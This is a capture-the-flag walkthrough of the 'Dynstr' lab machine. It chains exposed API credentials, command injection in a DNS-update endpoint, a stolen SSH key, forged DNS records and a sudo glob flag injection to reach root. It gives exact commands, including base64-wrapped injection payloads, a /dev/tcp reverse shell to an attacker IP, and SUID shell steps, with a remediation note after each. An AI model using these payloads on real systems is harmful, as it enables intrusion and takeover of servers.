← all walkthroughs

Dynstr

Linux· Medium
owned
2026-07-11
time to own
7m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a web-based dynamic-DNS service whose own home page advertised the API username and password in plain text. Using those credentials, I called the hostname-update endpoint, which fed the caller-supplied value directly into a server-side DNS management command without sanitisation, enabling command injection and a reverse shell as the Apache web user.

Inside the server, a developer's strace diagnostic log stored in a world-readable home directory contained an SSH private key for the bindmgr account, captured verbatim during a prior session. Although bindmgr's SSH configuration restricted logins to hosts resolving from *.infra.dyna.htb, the BIND TSIG zone-update key — readable by the web user — let me register their own IP address in that DNS zone and satisfy the check.

As bindmgr, a sudo rule permitted running a shell script that copied files using an unquoted filename glob. By placing a SUID-bit bash binary alongside a file literally named '--preserve=mode' in the working directory, I caused root's cp to produce a SUID-root bash copy in the destination directory, which was then executed for full root control.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1EnumerationSensitive data exposure in public web content (CWE-200)
Scanned services and found API credentials published on the public web page
An nmap scan identified SSH on port 22, ISC BIND DNS on port 53, and Apache HTTP on port 80. The website advertised a no-ip.com-style dynamic-DNS service called DYNA DNS and, on the same landing page, listed the /nic/update API endpoint together with login credentials (dynadns:[REDACTED: recovered credential]) for any visitor to read.
Service banners: OpenSSH 8.2p1, ISC BIND 9.16.1, Apache httpd 2.4.41. Credentials dynadns:[REDACTED: recovered credential] visible in plain text on the home page.
Exact commands 2
Service-version scan on the three open ports.
nmap -sV -p 22,53,80 $TARGET
Retrieve the home page; credentials appear in the page body.
curl -s http://$TARGET/
FixRemove credentials from public-facing web contentHigh
WeaknessThe DYNA DNS service home page displayed its own API username and password (dynadns:[REDACTED: recovered credential]) in plain text, giving any anonymous visitor immediate authenticated access to the DNS update API without any additional effort.
FixDelete all hard-coded credentials from HTML pages, documentation, and error messages. Distribute API credentials through a secure out-of-band channel such as a customer portal or encrypted email. Rotate the dynadns account password immediately and audit all public-facing pages for any other embedded credentials or sensitive configuration values.
2ExploitationOS Command Injection (CWE-78 / MITRE ATT&CK T1059.004)
Confirmed OS command injection in the DNS-update hostname parameter
The /nic/update API accepted a hostname and myip parameter over HTTP Basic authentication. The server extracted the subdomain label before the first dot, validated that the remainder matched an allowed zone (e.g. Dnsalias.htb), and passed the label directly into a server-side nsupdate shell invocation without escaping. Embedding a backtick-delimited command in the first label injected arbitrary OS commands. The payload was base64-encoded to bypass the server's dot and space filtering, and a callback to my own listener confirmed execution.
My netcat listener received an inbound HTTP request from $TARGET within seconds of submitting the payload.
Exact commands 2
Open a listener to catch the callback. Run in a separate terminal.
nc -lvnp 9001
Base64-encode the callback to sidestep space/dot filtering. URL-encoded backticks are %60. Replace $ATTACKER_IP with your tun0 address.
B64=$(echo -n "curl http://$ATTACKER_IP:9001/probe" | base64 -w0) && curl -s -u 'dynadns:[REDACTED: recovered credential]' "http://$TARGET/nic/update?hostname=%60echo%20${B64}|base64%20-d|bash%60.dnsalias.htb&myip=$ATTACKER_IP"
FixValidate and sanitise the hostname parameter before any shell or DNS useCritical
WeaknessThe /nic/update API passed the caller-supplied hostname subdomain label directly into a shell command (nsupdate), allowing backtick and pipe characters to execute arbitrary operating-system commands as the web server user.
FixValidate hostname labels against a strict allowlist regex (^[a-zA-Z0-9-]{1,63}$) and reject any input containing characters outside that set before any further processing. Invoke nsupdate by piping structured input to the process rather than constructing a shell string, so user-supplied data never reaches a shell interpreter. Run the web application as a dedicated low-privilege account with no shell access and no write permissions outside its own document root.
3FootholdReverse shell via OS command injection (T1059.004)
Delivered a reverse shell through the injection and landed as www-data
With code execution confirmed, a bash reverse shell was base64-encoded and injected through the same vulnerable hostname parameter. The web server connected back to a listener on my machine, providing an interactive shell as the Apache service account www-data.
Exact commands 2
Open the reverse-shell listener on my machine.
nc -lvnp 4444
Inject the base64-wrapped reverse shell. Replace $ATTACKER_IP with your tun0 address.
SHELL_B64=$(echo -n "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" | base64 -w0) && curl -s -u 'dynadns:[REDACTED: recovered credential]' "http://$TARGET/nic/update?hostname=%60echo%20${SHELL_B64}|base64%20-d|bash%60.dnsalias.htb&myip=$ATTACKER_IP"
4Lateral Movement — Key DiscoveryCredential recovery from diagnostic artefacts (T1552.001)
Recovered bindmgr's SSH private key from a world-readable strace diagnostic log
Listing /home revealed a bindmgr account. Inside /home/bindmgr/support-case-C62796521/ was a strace capture of an SSH client session. Because strace records every system call including the bytes returned by read(), the private key that bindmgr's ssh client had loaded from disk appeared verbatim in the log file. The complete key block was extracted and saved on my machine.
Strace log contained a complete BEGIN OPENSSH PRIVATE KEY … END OPENSSH PRIVATE KEY block readable as www-data.
Exact commands 3
List the strace artefacts; directory name may vary — check all of /home/bindmgr/.
ls /home/bindmgr/support-case-C62796521/
Extract the private key block from the strace output.
grep -A 100 'BEGIN OPENSSH PRIVATE KEY' /home/bindmgr/support-case-C62796521/strace-testing.txt | head -60
On my machine: save the reconstructed key block to /tmp/bindmgr_id_rsa and set correct permissions.
chmod 600 /tmp/bindmgr_id_rsa
FixDelete diagnostic logs that captured SSH private key material and restrict log accessHigh
WeaknessA strace capture of an SSH client session recorded the private key bytes read from disk, and the resulting log file was stored in a home directory readable by other system accounts. Any local user or an unauthorised user with a web shell could reconstruct the full private key from it.
FixDelete strace output files as soon as they are no longer needed. Store any strace logs with mode 600 in a directory owned exclusively by the recording user. Include private-key file patterns (id_rsa, id_ed25519, *.pem) in log-retention scrubbing policies. Conduct strace captures only in isolated, ephemeral environments where the output cannot be read by other users or service accounts.
5Lateral Movement — DNS BypassDNS dynamic update via exposed TSIG key to bypass SSH source restriction (T1071.004)
Used the exposed BIND TSIG key to register $ATTACKER_IP in the internal DNS zone
Bindmgr's ~/.ssh/authorized_keys carried a 'from="*.infra.dyna.htb"' restriction, meaning the SSH daemon would only accept connections whose reverse-DNS resolved to that domain pattern. The BIND TSIG signing key /etc/bind/infra.key, which authorises dynamic updates to the infra.dyna.htb zone, was readable by the www-data account. Running nsupdate with that key from the web shell added a forward A record (test.infra.dyna.htb → $ATTACKER_IP) and a matching PTR record, making my machine appear to originate from a valid infra.dyna.htb hostname.
/etc/bind/infra.key was readable as www-data; nsupdate returned no error; dig @$TARGET confirmed the new A record resolved correctly.
Exact commands 4
Confirm the TSIG key is readable from the www-data shell.
cat /etc/bind/infra.key
Register a forward A record pointing test.infra.dyna.htb at $ATTACKER_IP. Replace $ATTACKER_IP.
printf "server 127.0.0.1\nzone infra.dyna.htb\nupdate add test.infra.dyna.htb 86400 A $ATTACKER_IP\nsend\n" | nsupdate -k /etc/bind/infra.key
Register the matching PTR record. Replace REVERSE_ZONE (e.g. 14.10.10) and REVERSE_OCTET with the octets of your tun0 IP in reverse order.
printf 'server 127.0.0.1\nzone REVERSE_ZONE.in-addr.arpa\nupdate add REVERSE_OCTET.in-addr.arpa. 86400 PTR test.infra.dyna.htb.\nsend\n' | nsupdate -k /etc/bind/infra.key
Verify the A record resolves before attempting SSH.
dig @$TARGET test.infra.dyna.htb A
FixRestrict the BIND TSIG zone-update key to the BIND daemon onlyHigh
WeaknessThe TSIG signing key /etc/bind/infra.key, which authorises dynamic DNS updates to the infra.dyna.htb zone, was readable by the www-data web server account. An unauthorised user with a web shell could therefore add arbitrary DNS records to the zone — including a record that made their own IP satisfy the SSH from= source restriction.
FixSet /etc/bind/infra.key to mode 640, owned by root:bind, so only the BIND daemon (running as the bind group) can read it. Ensure the web server runs as www-data, which must not be a member of the bind group. When SSH from= restrictions are used as a security control, audit which accounts can update the DNS zones those restrictions depend on — any account that can add records to the zone can satisfy the check.
6Lateral Movement — SSHSSH authentication with stolen private key (T1078 / T1021.004)
Authenticated to SSH as bindmgr using the recovered private key
With my machine registered in DNS as test.infra.dyna.htb, the SSH daemon accepted the connection as originating from an allowed source. The private key extracted from the strace log was used to authenticate, yielding an interactive shell as bindmgr. The user flag was readable from the home directory.
SSH accepted login as bindmgr; user.txt readable at /home/bindmgr/user.txt.
Exact commands 2
Connect from my machine (now resolving as test.infra.dyna.htb) using the recovered key.
ssh -i /tmp/bindmgr_id_rsa bindmgr@$TARGET
Read the user flag: <user.txt>.
cat ~/user.txt
7Privilege EscalationWildcard argument injection in sudo script — cp glob (T1574)
Injected a SUID-root shell via wildcard-argument injection in a root sudo script
Sudo -l showed that bindmgr could run /usr/local/bin/bindmgr.sh as root without a password. The script executed 'cp .version * /etc/bind/named.bindmgr/' from the current working directory, where the unquoted * glob expanded every filename in that directory as a separate argument to cp. By placing a copy of bash (with the SUID bit set by the owning user) alongside a file literally named '--preserve=mode', the glob passed that string to cp as a flag, instructing root's cp to preserve the SUID bit. The resulting bash binary in /etc/bind/named.bindmgr/ was owned by root with the SUID bit active.
Sudo -l output: (ALL) NOPASSWD: /usr/local/bin/bindmgr.sh; ls -la /etc/bind/named.bindmgr/bash confirmed -rwsr-xr-x root:root after the script ran.
Exact commands 6
Confirm the unrestricted sudo rule for bindmgr.sh.
sudo -l
Create and enter a writable staging directory. All remaining commands in this step run from here.
mkdir /tmp/exploit && cd /tmp/exploit
Write a .version file with a number higher than the current one to satisfy the script's version check.
echo '99' > .version
Copy bash locally; set the SUID bit on the copy — you own it as bindmgr, so chmod +s succeeds without root.
cp /bin/bash . && chmod +s bash
Create a file whose name becomes a cp flag when the unquoted glob expands. The -- prevents touch itself from treating it as a flag.
touch -- '--preserve=mode'
Run the script as root from /tmp/exploit. The glob expands to: cp .version --preserve=mode bash /etc/bind/named.bindmgr/ — root's cp copies bash while preserving its SUID bit, making the result SUID root.
sudo /usr/local/bin/bindmgr.sh
FixQuote all globs in shell scripts run under sudo and remove the NOPASSWD privilegeHigh
WeaknessThe bindmgr.sh script used an unquoted glob ('cp .version * /dest/') in a root sudo context. Shell glob expansion turned filenames in the current directory into cp command-line arguments, allowing an unauthorised user to inject the --preserve=mode flag by creating a file with that name — causing root's cp to preserve the SUID bit on a planted bash binary and produce a SUID-root shell.
FixRewrite the copy logic to reference files by explicit quoted name (e.g., cp -- .version /etc/bind/named.bindmgr/.version). If iteration over multiple files is required, use a for loop with double-quoted variable expansions and an explicit path prefix to prevent flag injection. Remove NOPASSWD from the sudo rule so a separate authentication step is required before the script runs. Restrict the script's working directory to a location that only root or the dedicated service account can write to.
8Full CompromiseSUID binary execution for privilege escalation (T1548.001)
Executed the SUID-root bash copy for a root shell and captured the root flag
The bash binary deposited in /etc/bind/named.bindmgr/ by the sudo script was owned by root with the SUID bit set. Running it with the -p flag, which honours the elevated effective user ID rather than reverting to the calling user, produced an interactive root shell and completed full system compromise.
Exact commands 2
-p retains the SUID-granted effective UID (root) instead of dropping back to the real UID (bindmgr).
/etc/bind/named.bindmgr/bash -p
Confirm uid=0(root) and read the root flag: <root.txt>.
id && cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
53/tcp
80/tcp